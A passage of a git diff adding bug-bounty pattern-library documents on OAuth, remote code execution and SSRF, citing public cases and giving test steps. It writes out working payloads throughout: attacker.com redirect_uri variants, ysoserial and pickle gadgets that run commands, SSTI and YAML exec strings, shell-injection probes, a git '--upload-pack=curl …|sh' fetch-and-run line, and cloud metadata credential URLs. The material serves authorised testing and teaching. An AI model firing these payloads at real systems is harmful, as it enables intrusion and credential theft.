is the only safe configuration. Anything looser — prefix match, regex match, "starts with," subdomain wildcard — has produced bypass classes.+- **Why it matters:** This is the single most common OAuth bug class. Operators should always enumerate registered redirect_uris (often visible in the authorization request error messages when the URI is malformed) and test every relaxation primitive.++### SAML XML Signature Wrapping (XSW) attacks (class with multiple CVEs)+- **Source:** Original research at Ruhr-University Bochum (Juraj Somorovsky et al.) on XML Signature Wrapping; documented in many CVEs across SAML implementations over the past 15 years. The SAML Raider Burp extension implements the eight XSW variants. Cross-references `hunt-saml`.+- **Pattern shape:** SAML assertion is signed; signature covers a specific XML element by reference. Attacker relocates the signed element while inserting a modified Assertion that the application logic reads, but the signature validator still finds its referenced element and reports valid.+- **Key trick:** Eight catalogued variants (XSW1–XSW8) differ in where the wrapping element is inserted relative to the signature and how the parser walks the document. SAML Raider iterates all eight; manual XML editing for stubborn cases.+- **Why it matters:** OAuth flows often delegate to SAML on the enterprise side; understanding XSW is required when the IdP is a SAML provider. The chain (XSW → altered NameID → ATO on the relying party) is well-documented and consistently pays.++---++## Pattern Library++### `redirect_uri` host injection+- **When to suspect:** OAuth authorization endpoint accepts `redirect_uri` and the registered URI is enforced loosely.+- **Test:** Iterate alternatives against the registered URI `https://app.target.com/cb`:+ - Subdomain: `https://attacker.app.target.com/cb`.+ - Suffix: `https://app.target.com.attacker.com/cb`.+ - Userinfo: `https://[email protected]/cb`.+ - Path suffix: `https://app.target.com/cb/../@attacker.com/`.+ - Open-redirect chain: `https://app.target.com/redirect?to=https://attacker.com/`.+ - Fragment: `https://app.target.com/cb#@attacker.com/`.+- **Validation:** Authorization code or access token delivered to attacker-controlled origin. Use the code to fetch the victim's tokens at `/oauth/token`.+- **Pay-grade rationale:** Critical. Account takeover.++### Missing `state` parameter (OAuth CSRF)+- **When to suspect:** Authorization request omits `state`, or `state` is present but not bound to the user's session.+- **Test:** Initiate an OAuth flow in your attacker session. Capture the authorization-code redirect URL. Send the victim that URL (via XSS, phishing, image embed). Victim's browser hits the callback and the *attacker's* OAuth account gets linked to the *victim's* application account — or vice versa, depending on flow direction.+- **Validation:** Cross-account binding succeeded. PoC: log out, log in via the attacker's OAuth account, see victim's data.+- **Pay-grade rationale:** High to critical depending on the account-link direction. Critical when victim's account links to attacker's IdP (attacker gains permanent SSO access to victim's app account).++### `state` parameter not bound to session+- **When to suspect:** `state` is present but the value is a constant, a global nonce, or derived from URL only.+- **Test:** Initiate flow, capture `state`, replay the callback in a different session.+- **Validation:** Callback accepted; CSRF succeeds.+- **Pay-grade rationale:** High.++### Implicit-flow token leak via Referer+- **When to suspect:** Application uses the implicit flow (`response_type=token`). The access token returns in the URL fragment. Any same-page resource fetch sends Referer.+- **Test:** Plant a third-party resource on the callback page (image, link, iframe). Capture the Referer header sent to your origin.+- **Validation:** Referer contains the access token.+- **Pay-grade rationale:** Critical. Token theft = ATO.++### PKCE downgrade attack+- **When to suspect:** Public client (mobile / SPA) uses PKCE. The authorization server still accepts `code_verifier=` requests without strict PKCE enforcement.+- **Test:** Initiate flow with PKCE (`code_challenge` provided in `/authorize`). At the token endpoint, omit `code_verifier`. If accepted, PKCE is not enforced. Alternatively, send `code_challenge_method=plain` and a known-easy verifier.+- **Validation:** Token endpoint exchanges the code without proper PKCE binding.+- **Pay-grade rationale:** High. Lowers the bar for code-interception attacks.++### Account-link confused-deputy+- **When to suspect:** Application has an "add another SSO provider" feature that takes an authorization code from a second IdP and links it to the current session.+- **Test:** Initiate the link flow as attacker A. Capture the link-initiation URL (which contains the attacker's session token). Send victim that URL. Victim, while logged in to their own application account, completes the link — now attacker A's IdP account is bound to victim's application account. Attacker logs in via the IdP and reaches victim's account.+- **Validation:** Account binding via the victim's browser executes; subsequent attacker SSO login reaches the victim's data.+- **Pay-grade rationale:** Critical. ATO via SSO link.++### Scope upgrade attack+- **When to suspect:** Token endpoint accepts `scope` in the refresh-token flow and the new scope can exceed the original grant's scopes.+- **Test:** Acquire a token with `scope=read`. Submit a refresh request with `scope=read write admin`. If accepted, the new token carries elevated scope.+- **Validation:** New token works against admin endpoints.+- **Pay-grade rationale:** High.++### Refresh-token replay+- **When to suspect:** Refresh tokens are long-lived and not rotated after use.+- **Test:** Use a refresh token once to acquire a new access token. Replay the same refresh token. If the second use succeeds and produces additional access tokens, replay is possible. A stolen refresh token (e.g., via XSS) becomes effectively permanent access.+- **Validation:** Second-use succeeds; OAuth 2.1 / RFC 9700 requires refresh-token rotation.+- **Pay-grade rationale:** Medium to high. Higher when chained with another primitive that exposes a refresh token.++### Authorization code reuse+- **When to suspect:** Token endpoint accepts the same authorization code twice.+- **Test:** Exchange a code at `/oauth/token` once; replay the exchange. If the second exchange returns a token, codes are not single-use.+- **Validation:** Second redemption succeeds.+- **Pay-grade rationale:** Medium to high. Code interception (via Referer leak, log leak, browser-history theft) becomes ATO.++### Mix-up attack (multi-IdP applications)+- **When to suspect:** Application supports multiple IdPs (Google, Facebook, Apple). Authorization response does not include an `iss` parameter or a reliable issuer identifier.+- **Test:** Trick the relying party into believing the code came from IdP A when it actually came from IdP B (the attacker controls IdP B via a malicious client registration). The relying party redeems the code at IdP A's token endpoint, but the code is invalid there — alternatively, the attacker has set up a scenario where the relying party trusts the wrong IdP's identity claim.+- **Validation:** Account binding or login succeeds under the wrong issuer.+- **Pay-grade rationale:** High to critical depending on the application's trust model.++### Open-redirect-on-allowed-host chain+- **When to suspect:** `redirect_uri` is correctly validated to be the application's own origin, but the application *has* an open-redirect bug elsewhere.+- **Test:** Set `redirect_uri=https://app.target.com/redirect?to=https://attacker.com/`. The authorization server approves (host matches the registered origin). Browser follows the redirect, which carries the code through to the attacker.+- **Validation:** Code captured at attacker.com.+- **Pay-grade rationale:** Critical. ATO via the chain.++### Pre-account-takeover via OAuth registration+- **When to suspect:** Application supports both password and SSO. SSO registration creates an account without verifying email ownership.+- **Test:** Attacker registers an SSO account for `[email protected]` *before* the legitimate victim signs up. When victim later registers, application merges the accounts or grants attacker access to victim's data.+- **Validation:** Account merge gives attacker session over victim data.+- **Pay-grade rationale:** High to critical depending on merge semantics.++### `iss` / `aud` claim not validated in OIDC ID token+- **When to suspect:** Relying party accepts an OIDC ID token without checking that `iss` matches the expected issuer or `aud` matches the relying party's client_id.+- **Test:** Forge or replay an ID token from a different relying party's flow. If accepted, the application is broken.+- **Validation:** Token accepted across issuer/audience boundary.+- **Pay-grade rationale:** Critical.++### `alg=none` on OIDC ID token+- **When to suspect:** OIDC ID token is a JWT. Server library has the `alg=none` vulnerability (older versions of `jsonwebtoken`, `pyjwt`, etc.).+- **Test:** Construct an unsigned JWT with `alg=none` carrying the victim's `sub` claim. Submit to any endpoint that consumes the ID token.+- **Validation:** Token accepted.+- **Pay-grade rationale:** Critical.++### Cookie-bound state without HttpOnly+- **When to suspect:** OAuth state stored client-side in a non-HttpOnly cookie or in localStorage; XSS-readable.+- **Test:** Chain with any same-origin XSS to read the state value and forge the matching callback.+- **Validation:** OAuth CSRF succeeds despite state being present.+- **Pay-grade rationale:** Self-amplifying; pays as part of a chain.++---++## Anti-Patterns (FP traps)++### `redirect_uri` validation that accepts fragment-only modifications+- **Looks like:** You sent `redirect_uri=https://app.target.com/cb#@attacker.com/` and the authorization server returned a code.+- **Actually is:** The browser ignores everything after `#` when navigating, so the code lands at `https://app.target.com/cb` — the legitimate origin — and not at `attacker.com`. The fragment is *visible to the legitimate app's JavaScript* but not exfiltrated to attacker.com on its own.+- **How to disprove:** Walk through the actual browser navigation. Does the code end up at attacker.com or at the legitimate origin? If it stays at the legitimate origin, no token theft happened — the parser difference exists but the exploit doesn't land. Report only if you can demonstrate code-exfiltration via a follow-on chain (e.g., XSS at app.target.com that reads the fragment).++### State parameter "exists" but isn't validated against the session+- **Looks like:** Authorization request has `state=abc123`, callback contains the same. Looks fine.+- **Actually is:** Some implementations include `state` because the IdP requires it but never check its value on callback. To prove the bug, you must demonstrate that a *forged* state value is accepted.+- **How to disprove:** Replay the callback with a *different* state value or no state at all. If accepted, the parameter is decorative — not bound to the session. If rejected, binding is real.++### "OAuth" flow that's actually OIDC, with different mitigations+- **Looks like:** Application calls itself an "OAuth integration." You apply OAuth attack patterns and they don't reproduce.+- **Actually is:** OIDC is OAuth-shaped but carries additional claims (`iss`, `aud`, `nonce`, ID token signing). Some attacks (`state`-omission, redirect_uri tricks) apply directly; others (`alg=none`, claim manipulation) apply only to the ID-token branch. The reverse is also true — OIDC-specific attacks don't apply to pure OAuth 2.0.+- **How to disprove:** Inspect the authorization request. `scope=openid` ⇒ OIDC. `response_type=code id_token` or `response_type=id_token` ⇒ OIDC. `response_type=code` alone with no `openid` scope ⇒ pure OAuth 2.0. Adjust the attack set accordingly.++### "Open redirect" on a 302 that strips the fragment+- **Looks like:** App has an endpoint that issues `Location: <user-supplied>`. Looks like open redirect, looks chainable to OAuth code theft.+- **Actually is:** Browsers strip fragments on 302 redirects to a new origin (per spec). If the OAuth callback delivers the code in a fragment, the chained redirect drops the code. The attacker receives nothing.+- **How to disprove:** Trace the redirect chain end-to-end with browser dev tools. If the final URL at attacker.com has no `code=` parameter or fragment, the chain doesn't reach token theft. The open redirect remains a finding on its own (lower severity), but the OAuth chain doesn't land.diff --git a/docs/disclosed-reports/hunt-rce.md b/docs/disclosed-reports/hunt-rce.mdnew file mode 100644index 0000000..2c787e4--- /dev/null+++ b/docs/disclosed-reports/hunt-rce.md@@ -0,0 +1,143 @@+# hunt-rce — Pattern Library++> Patterns and verifiable public examples behind `hunt-rce`. Operator-grade reference, not a complete enumeration. Cited examples are well-known public cases that any reader can search and verify; uncited patterns are general operator knowledge accumulated from public bounty disclosures, CVEs, and conference talks.++RCE remains the highest-paying bug class because the proof is unambiguous (shell output, OOB callback from inside the target), the blast radius is infrastructure-wide, and the fix usually requires architectural changes rather than a quick patch. The patterns below are organized by primitive — every RCE eventually reduces to "attacker-controlled bytes reach a code-executing sink" — and the cited examples illustrate the most-discussed real-world instances of each primitive class.++## Cited Public Examples++### Log4Shell (CVE-2021-44228)+- **Source:** Apache Log4j 2 — disclosed December 2021. CVE-2021-44228. Massively documented across CISA advisories, vendor write-ups, and conference talks.+- **Pattern shape:** Any string logged by an application running a vulnerable version of Log4j 2 was passed through JNDI lookup substitution. An attacker who could influence any logged string (`User-Agent`, `X-Forwarded-For`, a username field, a chat message, the subject of an HTTP request that produces an error log) could embed `${jndi:ldap://attacker.tld/x}` and the Java process would dereference the LDAP URL, fetch a remote class, and execute it.+- **Key trick:** The sink was not "an endpoint that takes a URL" — it was "any log line." That moved the attack surface from a finite set of parameters to effectively *every* string the application logs, including ones the developer never thought of as user input.+- **Why it matters:** This is the canonical demonstration that the *sink* in an RCE primitive isn't always a function called `eval`. Logging frameworks, format strings, template engines, ORM expression languages, and serialization libraries are all execution sinks in the right (wrong) configuration. Always ask: "what library processes this string later?"++### Capital One SSRF→IMDS credential exfiltration (2019)+- **Source:** US Department of Justice charging documents and subsequent civil filings against Paige Thompson, 2019. Widely covered in mainstream technology press and used as a teaching case in cloud-security training.+- **Pattern shape:** A web application firewall misconfiguration permitted SSRF against the EC2 Instance Metadata Service (IMDSv1) at `169.254.169.254`. The attacker retrieved temporary IAM credentials from the instance role and used those credentials to list and download S3 buckets containing roughly 100 million customer records.+- **Key trick:** This is SSRF→privilege-escalation, not classical in-process RCE — but the operator lesson belongs in any RCE pattern library because the *practical impact* (full data exfil, infrastructure pivot) is RCE-equivalent. The privilege came from the metadata service, not from a memory-corruption primitive.+- **Why it matters:** Cloud-hosted targets multiply the value of any "fetch arbitrary URL" primitive. IMDSv2 (with `X-aws-ec2-metadata-token`) mitigates this, but operators still find IMDSv1-only configurations and partial v2 enforcement. Always test the IMDS path on any SSRF candidate before deciding the bug is "low impact."++### Java deserialization via ysoserial gadgets+- **Source:** Chris Frohoff and Gabriel Lawrence, AppSecCali 2015 talk "Marshalling Pickles." Tool released on GitHub as `frohoff/ysoserial`. The research catalogue (Commons-Collections, Spring, Hibernate, JDK7u21, and many others) is publicly maintained.+- **Pattern shape:** Any Java endpoint that accepts a serialized `java.io.Serializable` object (HTTP body, RMI, JMX, JNDI, T3 in WebLogic, IIOP, ViewState in ASP.NET-Java-bridges, message-queue payloads) and runs it through `ObjectInputStream.readObject()` without a class allowlist can be made to execute attacker-chosen `Runtime.exec` calls via a gadget chain — a sequence of methods invoked by the readObject machinery whose side effects culminate in code execution.+- **Key trick:** The vulnerability is not in `ObjectInputStream` itself; it is in the *combination* of `readObject` plus any vulnerable gadget on the classpath. Operators don't need to find a new gadget; they pick one from `ysoserial` matching the classpath dependencies (often inferred from response headers, error stack traces, or `WEB-INF/lib` enumeration).+- **Why it matters:** This pattern persists fifteen years after the first paper because allow-listing is hard, fix is library-by-library, and many enterprise Java stacks (WebLogic, JBoss, WebSphere, custom Spring apps) still accept serialized blobs on some path. The same shape repeats in .NET (`BinaryFormatter`, `LosFormatter`, `NetDataContractSerializer`), Python (`pickle`), Ruby (`Marshal.load`), and PHP (`unserialize` and the phar:// stream wrapper).++### Microsoft SharePoint ToolShell precondition chain (CVE-2025-53770)+- **Source:** Microsoft Security Response Center advisory and CISA Known Exploited Vulnerabilities catalogue, 2025. CVE-2025-53770.+- **Pattern shape:** A SharePoint on-prem flaw allowing remote unauthenticated code execution against specific SharePoint Server versions when a chained set of preconditions is met. Exploited in the wild against on-premises SharePoint farms.+- **Key trick:** The exploitable state requires more than one configuration condition to align — operator value lies in checking the *precondition set* (versions, patch level, exposed endpoints, FormDigest behavior) rather than firing a generic payload at every `/_layouts/15/` path.+- **Why it matters:** EoL or near-EoL enterprise products (SharePoint 2013/2016/2019) accumulate permanent CVE windows. Operators who fingerprint the version and check the precondition set against published CVE advisories will out-perform anyone running generic scanners. See `hunt-sharepoint` for the SharePoint-specific dispatcher.++---++## Pattern Library++### Java deserialization on a non-obvious endpoint+- **When to suspect:** Response carries `Content-Type: application/x-java-serialized-object`, `application/vnd.java.serialized-object`, or you observe a base64 blob beginning with `rO0AB` (the standard `ObjectInputStream` magic, base64-encoded). Also: any Java target accepting a `viewstate=`-like opaque blob from the client.+- **Test:** Generate a `ysoserial CommonsCollections5 'curl http://<collab>/x'` payload, base64-encode it, post it to the suspected sink. Observe Collaborator for HTTP/DNS callback.+- **Validation:** Out-of-band callback from the *target server's source IP*, not your test browser. If only DNS fires, confirm with an HTTP gadget (CommonsBeanutils1, Hibernate1) to differentiate from a passive DNS prefetch.+- **Pay-grade rationale:** Critical. Unauthenticated RCE on a public-facing enterprise app is the canonical critical bug; programs price these at the top of the table because the alternative is a vendor incident response.++### Python `pickle.loads` on attacker-supplied bytes+- **When to suspect:** A Python service accepts a session cookie, a cached object blob, a message-queue payload, or a "state" parameter that round-trips through the client. Server is Flask/Django/FastAPI/Pyramid; cookies look base64 but decode to non-printable bytes starting with `\x80\x04` (pickle protocol 4 marker) or `(dp` (protocol 0).+- **Test:** Craft a class with `__reduce__` returning `(os.system, ('id > /tmp/x',))`, pickle it, send it as the cookie/blob, and observe the side effect (file appears, OOB callback fires, response timing changes).+- **Validation:** OOB callback or filesystem artifact. Do not rely on response-body changes alone — many pickle exceptions still return 500 without executing the gadget.+- **Pay-grade rationale:** Critical to high. Equivalent to Java deserialization, with the added irony that Python's stdlib has shipped this warning for two decades.++### Ruby Marshal / YAML.load / ERB injection+- **When to suspect:** Rails or Sinatra app, observable `Marshal.dump`-style cookies or jobs queued through ActiveJob/Sidekiq. `YAML.load` (pre-Psych-safe-mode) processed against attacker input. ERB or Liquid templates rendered with attacker-controlled strings.+- **Test:** Construct a `Gem::Specification`-style gadget for Marshal, or a `!ruby/object:Gem::Installer` payload for YAML, and inject. For ERB, `<%= system('id') %>` is the textbook probe; for Liquid, look for filter-chain abuse or version-specific bypasses.+- **Validation:** OOB callback or command-output reflection in the rendered template.+- **Pay-grade rationale:** Critical when reachable unauthenticated; high otherwise. Ruby gadget chains are often easier than Java because the language is more permissive about object construction.++### .NET `BinaryFormatter` / `LosFormatter` / ViewState MAC bypass+- **When to suspect:** ASP.NET WebForms app, ViewState present in the response, target uses Framework 4.x or earlier. Look for `__VIEWSTATE` posted on every form. Check `web.config` exposure: `EnableViewStateMac` set to false, or known leaked machineKey.+- **Test:** `ysoserial.net -g TypeConfuseDelegate -f LosFormatter -c 'curl http://<collab>/'` with the recovered or known machineKey. POST as `__VIEWSTATE`.+- **Validation:** OOB callback from the target. Cross-reference with `hunt-aspnet` for the dual-parser MAC-bypass anti-pattern, which can let a ViewState through without a valid signature in some configurations.+- **Pay-grade rationale:** Critical when ViewState MAC is missing or bypassable; less when MAC is enforced and machineKey is unknown.++### PHP `unserialize` and phar:// stream wrapper+- **When to suspect:** Legacy PHP application, file paths accepted from user input (uploads, image processors, ZIP-archive readers, RSS readers), or any `file_exists`/`is_file`/`fopen` that runs against attacker-controlled paths. Older PHP versions (pre-8.0) auto-deserialize phar metadata when the path is read.+- **Test:** Upload a `.phar` (or rename it to `.jpg` if MIME-only validation is in play) whose metadata contains a serialized object matching a class with a `__destruct` or `__wakeup` magic method that reaches a sink. Reference the file via `phar://path/to/uploaded.jpg/anything`.+- **Validation:** OOB callback when the upload is processed, or file-side effect.+- **Pay-grade rationale:** High to critical depending on auth state and the reachable class set.++### Server-side template injection (SSTI) escalation chain+- **When to suspect:** Probe `{{7*7}}`, `${7*7}`, `#{7*7}`, `<%= 7*7 %>` against any reflected parameter and observe `49` in the response. Engine fingerprint follows from the syntax that succeeded.+- **Test:** Jinja2 → `{{ ''.__class__.__mro__[1].__subclasses__() }}` walker into `subprocess.Popen`. Twig → `{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}`. Freemarker → `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}`. ERB → `<%= IO.popen('id').read %>`. Spring SpEL → `T(java.lang.Runtime).getRuntime().exec('id')`.+- **Validation:** Command output reflected in body OR OOB callback from a `curl` payload.+- **Pay-grade rationale:** Critical. SSTI almost always equals RCE in modern engines; the cross-reference is `hunt-ssti`.++### Command injection via shell metacharacter fan-out+- **When to suspect:** A parameter that feeds a backend tool — image conversion (ImageMagick, ghostscript), DNS lookup, network diagnostic, archive extractor, video transcoder (ffmpeg). Backend probably uses `system`, `exec`, `subprocess.call(shell=True)`, or Ruby backticks.+- **Test:** Layered payloads: `; id`, `| id`, `` `id` ``, `$(id)`, `' && id #`. If quotes are stripped, try `\\\\&\\\\& id`, `%0aid`, `%0d%0aid`. For ImageMagick CVE-2016 / `MSL` style flaws, an `mvg` file with `push graphic-context\nimage Over 0,0 0,0 'url(https://<collab>/x)'\npop graphic-context` validates server-side fetch and often code execution.+- **Validation:** Command-output reflection, OOB callback, or response-timing differential (`; sleep 10`).+- **Pay-grade rationale:** High to critical. Easy proof; often unauthenticated.++### Node.js prototype pollution → RCE gadget+- **When to suspect:** Node.js backend, `lodash.merge`, `Object.assign`, manual deep-merge loops, query-string parsers without prototype protection. Look for endpoints that accept JSON and patch user state — particularly `__proto__`-laden bodies that survive a round trip.+- **Test:** POST `{"__proto__":{"shell":"/usr/bin/id","outputType":"buffer"}}` or a known gadget per the polluted-prototype-to-RCE catalogue (the gadget depends on which library reaches `child_process.spawn` with `options` from `Object.create(null)`-violating merges).+- **Validation:** Pollute on one endpoint, trigger the gadget on another, get OOB callback or command output.+- **Pay-grade rationale:** Critical when the gadget reaches `spawn`/`exec`. High when it reaches a downgrade primitive (e.g. forcing `verify:false` in an HTTP client used for SSO).++### Node.js `eval` / `Function` / `vm` over attacker JSON+- **When to suspect:** API endpoint that accepts a "formula," "expression," "script," or "callback" string and evaluates it server-side. `mathjs`-style expression evaluators are recurring offenders; some have shipped patches and reverted by minor-version downgrade.+- **Test:** Engine-specific escape — `mathjs` historically allowed `import` namespace abuse; `vm2` sandbox-escape CVEs are public; raw `eval` is `process.mainModule.require('child_process').execSync('id')`.+- **Validation:** Command output or OOB callback.+- **Pay-grade rationale:** Critical when sandbox is absent; high when sandbox version has a known escape.++### Git-config injection in clone/import sinks+- **When to suspect:** Application clones a remote git repository from user input — CI/CD test runners, build systems, "import from GitHub URL" features, SCM mirrors.+- **Test:** Reference patterns from public research (Snyk and others have published this class). A repository URL or branch name containing `--upload-pack=...` or `--config=...` flags can change `git`'s behavior at the CLI boundary; properly crafted, this reaches command execution as the build user.+- **Validation:** OOB callback or build-log evidence of `--upload-pack` honoring the attacker's payload.+- **Pay-grade rationale:** Critical when reachable on a build worker with credentials; medium on isolated runners.++### YAML deserialization via SnakeYAML / PyYAML / Psych+- **When to suspect:** Endpoint accepts YAML — config import, OpenAPI/Swagger upload, Helm/Kustomize handler, Rails YAML cookie. Old defaults parsed `!!python/object` or `!ruby/object:` tags into live instances.+- **Test:** PyYAML pre-`safe_load`: `!!python/object/apply:os.system ["id"]`. SnakeYAML pre-allowlist: `!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://<collab>/"]]]]`.+- **Validation:** OOB callback.+- **Pay-grade rationale:** Critical when unauthenticated.++### CSV / Excel formula injection escalating to local RCE+- **When to suspect:** Export/download endpoints that emit CSV or XLSX with attacker-controlled cell content. The classic `=cmd|'/c calc'!A1` formula executes on the *recipient's* machine when the file is opened in Excel.+- **Test:** Plant `=cmd|' /C calc'!A1`, `@SUM(...)`, `=HYPERLINK("https://<collab>/x","Click")` in any field that round-trips to CSV.+- **Validation:** Confirmed execution in Excel with macros allowed, OR confirmed credential leak via the hyperlink probe (Excel sometimes auto-fetches without user interaction).+- **Pay-grade rationale:** Medium typically; high if the consumer is a SOC analyst or admin opening exports.++### LDAP injection escalating into Java RCE+- **When to suspect:** Java app exposes an authentication or directory-lookup endpoint that builds LDAP filters from user input. Combined with JNDI lookups (the Log4Shell primitive), LDAP-injection-controllable filters can serve a payload class.+- **Test:** Inject `*)(objectClass=*` style filter manipulation to confirm the injection point, then point JNDI/RMI at a controlled LDAP server returning a malicious class reference.+- **Validation:** OOB callback from the target dereferencing the LDAP reference.+- **Pay-grade rationale:** Critical when reachable.++### .NET ViewState load-balanced cross-node deserialization+- **When to suspect:** ASP.NET WebForms farm with multiple nodes, ViewState validation occasionally fails (`__VIEWSTATE` mismatches across requests), suggesting machineKey desync. See `hunt-aspnet`.+- **Test:** Capture a valid ViewState, replay across nodes, observe nodes that accept it. If a node accepts a forged ViewState, repeat with a ysoserial.net gadget.+- **Validation:** OOB callback.+- **Pay-grade rationale:** Critical on the lagging node.++---++## Anti-Patterns (FP traps)++### "File write to a static directory" claimed as RCE+- **Looks like:** You upload a `.php` / `.jsp` / `.aspx` / `.asp` file and the server returns 200. Or you find a write-anywhere primitive via path traversal.+- **Actually is:** A write primitive is not an execution primitive until the file is requested *and the request reaches an interpreter*. Most modern stacks serve user-upload directories with a strict `Content-Type` and no scripting; some explicitly drop `.php` to `text/plain`.+- **How to disprove:** GET the uploaded file. If the response is the raw file bytes with `Content-Type: text/plain` (or octet-stream) and no execution side effect, it's a write primitive, not RCE. Chain it (overwrite a real script, write to a path served by an interpreter, write to a config file consumed at startup) before claiming RCE.++### `eval(JSON.parse(input))` in a frozen-prototype sandbox+- **Looks like:** Source code grep hits `eval(` near user input. Looks gameover.+- **Actually is:** Modern code increasingly wraps `eval` in `Function` constructors with frozen globals, or runs in `vm.runInNewContext` with no `require` reference. The literal `eval` does nothing dangerous.+- **How to disprove:** Run a known-trivial payload (`process.mainModule.require('child_process').execSync('id')` or `globalThis.process.binding('spawn_sync')`) and check whether it actually executes. If the sandbox rejects everything you throw at it and there's no public escape CVE for the sandbox version, you have a hardened eval, not RCE.++### Path traversal that reads but does not write+- **Looks like:** `?file=../../../../etc/passwd` returns the file.+- **Actually is:** A read primitive. Reading `/etc/passwd` is information disclosure, not code execution.+- **How to disprove:** Can you write the same way? Try `..%2F` on a PUT/POST endpoint, look for log-poisoning paths (write to a log file that gets included), or look for SSH-key-write paths. If only reading works, classify as LFI/path-traversal — significant but not RCE.++### SSRF echo claimed as "fetch + execute"+- **Looks like:** The server prints your URL in an error message. You assume it fetched the URL and want to chain to RCE via gopher://internal-redis.+- **Actually is:** String formatting in an error template. The server never made the outbound request.+- **How to disprove:** Plant a Burp Collaborator subdomain. If zero DNS or HTTP interactions arrive, no fetch happened. Re-read `hunt-ssrf` OOB-or-it-didn't-happen gate.diff --git a/docs/disclosed-reports/hunt-ssrf.md b/docs/disclosed-reports/hunt-ssrf.mdnew file mode 100644index 0000000..5f548af--- /dev/null+++ b/docs/disclosed-reports/hunt-ssrf.md@@ -0,0 +1,155 @@+# hunt-ssrf — Pattern Library++> Patterns and verifiable public examples behind `hunt-ssrf`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, cloud-security research, and conference talks.++SSRF earns its place at the top of the impact ladder because every modern application sits in a network that has more *internal* services than external ones — cloud metadata services, internal admin APIs, message queues, caches, secret managers. A single "fetch this URL" primitive becomes a pivot into the trust zone behind the WAF. The patterns below cover the IP-bypass arsenal, the protocol-coercion arsenal, the rendering-pipeline subclass, and the OOB discipline that distinguishes real SSRF from URL-echo noise.++## Cited Public Examples++### Capital One SSRF → AWS IMDS → S3 exfil (2019)+- **Source:** US Department of Justice court filings against Paige Thompson, 2019. Widely covered in mainstream technology press, AWS post-mortems, and cloud-security training material.+- **Pattern shape:** A misconfigured web application firewall fronting a Capital One AWS workload permitted SSRF. The attacker reached the EC2 Instance Metadata Service (IMDSv1) at `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>`, retrieved temporary IAM credentials for the instance role, and used those credentials to list and download S3 buckets containing ~100 million customer records.+- **Key trick:** No special protocol coercion was needed — the SSRF primitive accepted plain HTTP, and IMDSv1 did not require any header to release credentials. IMDSv2 (with token requirement via `X-aws-ec2-metadata-token`) was designed in response to this class.+- **Why it matters:** Any SSRF on an AWS-hosted target must be tested against IMDSv1, IMDSv2 token-grab, the GCP metadata endpoint, and Azure IMDS variants. The blast radius of "fetch arbitrary URL on the server" is "compromise the cloud role." Always.++### PortSwigger SSRF research and Burp Collaborator workflow+- **Source:** PortSwigger Research, body of work by James Kettle and others. Topics include the SSRF cheat sheet, blind SSRF via OOB techniques, and the integration of Collaborator into the Burp Suite scanning workflow. Searchable at portswigger.net/research; cite the program of research, not a specific URL.+- **Pattern shape:** A general operator methodology — every URL-accepting parameter must be tested with a Collaborator subdomain because in-band signals (errors, status differences, response timing) are not sufficient to claim SSRF. The OOB callback (DNS + HTTP) is what separates SSRF from URL-echo.+- **Key trick:** Sub-tag the Collaborator subdomain per sink (`import.<collab>`, `webhook.<collab>`, `dlsrc.<collab>`) so a single listener can reveal *which* of the dozens of probed parameters fired.+- **Why it matters:** The OOB discipline is the difference between credible SSRF reports and N/A submissions. It's the single most important methodology change for hunters moving from scanner-driven testing to operator-grade work.++### Snyk SSRF → Git config injection → RCE chain+- **Source:** Snyk Security Research blog, multiple posts in 2022-2024 covering the chain from a fetch-arbitrary-URL primitive to a remote-code-execution outcome via clones to attacker-controlled git URLs containing `--upload-pack=` or `--config=` flag-injection-via-URL. Search by topic — the class is publicly documented across Snyk write-ups and corresponding CVEs.+- **Pattern shape:** A CI/CD or build-system endpoint accepts a "repository URL" parameter. The backend invokes `git clone <url>`. A specially crafted URL (e.g. `--upload-pack=curl example.com|sh https://attacker.com/repo.git`) causes `git` to interpret the leading dashes as command-line flags, reaching command execution as the build user.+- **Key trick:** This is SSRF in input *shape* — fetch-from-URL — but the protocol is `git`, not HTTP, and the dangerous primitive is git's own flag parsing, not the network fetch. Operators who only test HTTP-shaped SSRF miss this entirely.+- **Why it matters:** "SSRF" is shorthand for "server-initiated request influenced by attacker input." When the request tool is `git`, `curl`, `wget`, `ffmpeg`, `convert`, or `wkhtmltopdf`, the impact often exceeds plain network fetch — it reaches tool-specific code execution.++### DNS rebinding as a TOCTOU SSRF (longstanding research)+- **Source:** General class first documented in academic security literature decades ago; refreshed by NCC Group, Project Insecurity, and others. Searchable by topic.+- **Pattern shape:** Server validates that a URL's hostname resolves to a public IP, then *re-resolves* the hostname when actually fetching. The attacker controls a DNS server that returns a public IP on the first lookup (passing validation) and `127.0.0.1` or `169.254.169.254` on the second lookup (the actual fetch).+- **Key trick:** Time-Of-Check / Time-Of-Use vulnerability in URL validators that perform DNS resolution. The defense is to resolve once, validate the resolved IP, and *fetch using the validated IP* (or pin to it via `Host:` header).+- **Why it matters:** Any SSRF target with apparent IP-allowlist defense should be tested with a controlled DNS server (`rbndr.us` or custom). A passing allow-list check followed by a successful internal-IP fetch validates DNS rebinding as the primitive.++---++## Pattern Library++### Direct internal-IP fetch (no validation)+- **When to suspect:** A URL parameter on an integration / preview / webhook / import endpoint. No visible URL filter.+- **Test:** Set the URL to `http://<collab>/x`. After confirming Collaborator interaction, test `http://127.0.0.1/`, `http://169.254.169.254/latest/meta-data/`, `http://169.254.169.254/computeMetadata/v1/?recursive=true&alt=json` (GCP, with header `Metadata-Flavor: Google` if supported by the SSRF primitive), `http://169.254.169.254/metadata/instance?api-version=2021-02-01` (Azure, with header `Metadata: true`).+- **Validation:** Collaborator interaction confirms outbound fetch; metadata response in body or via OOB callback confirms reach.+- **Pay-grade rationale:** Critical when cloud metadata is reachable; high otherwise.++### IP-encoding bypass arsenal+- **When to suspect:** Filter rejects `127.0.0.1` or `169.254.169.254` literally.+- **Test:** Iterate alternative encodings:+ - Decimal: `2130706433` (= 127.0.0.1), `2852039166` (= 169.254.169.254).+ - Octal: `0177.0.0.1`, `0251.0376.0251.0376`.+ - Hex: `0x7f000001`, `0xa9fea9fe`.+ - Short-form: `127.1`, `0.0.0.0`, `0`.+ - IPv6 mapping: `[::ffff:127.0.0.1]`, `[::ffff:7f00:0001]`, 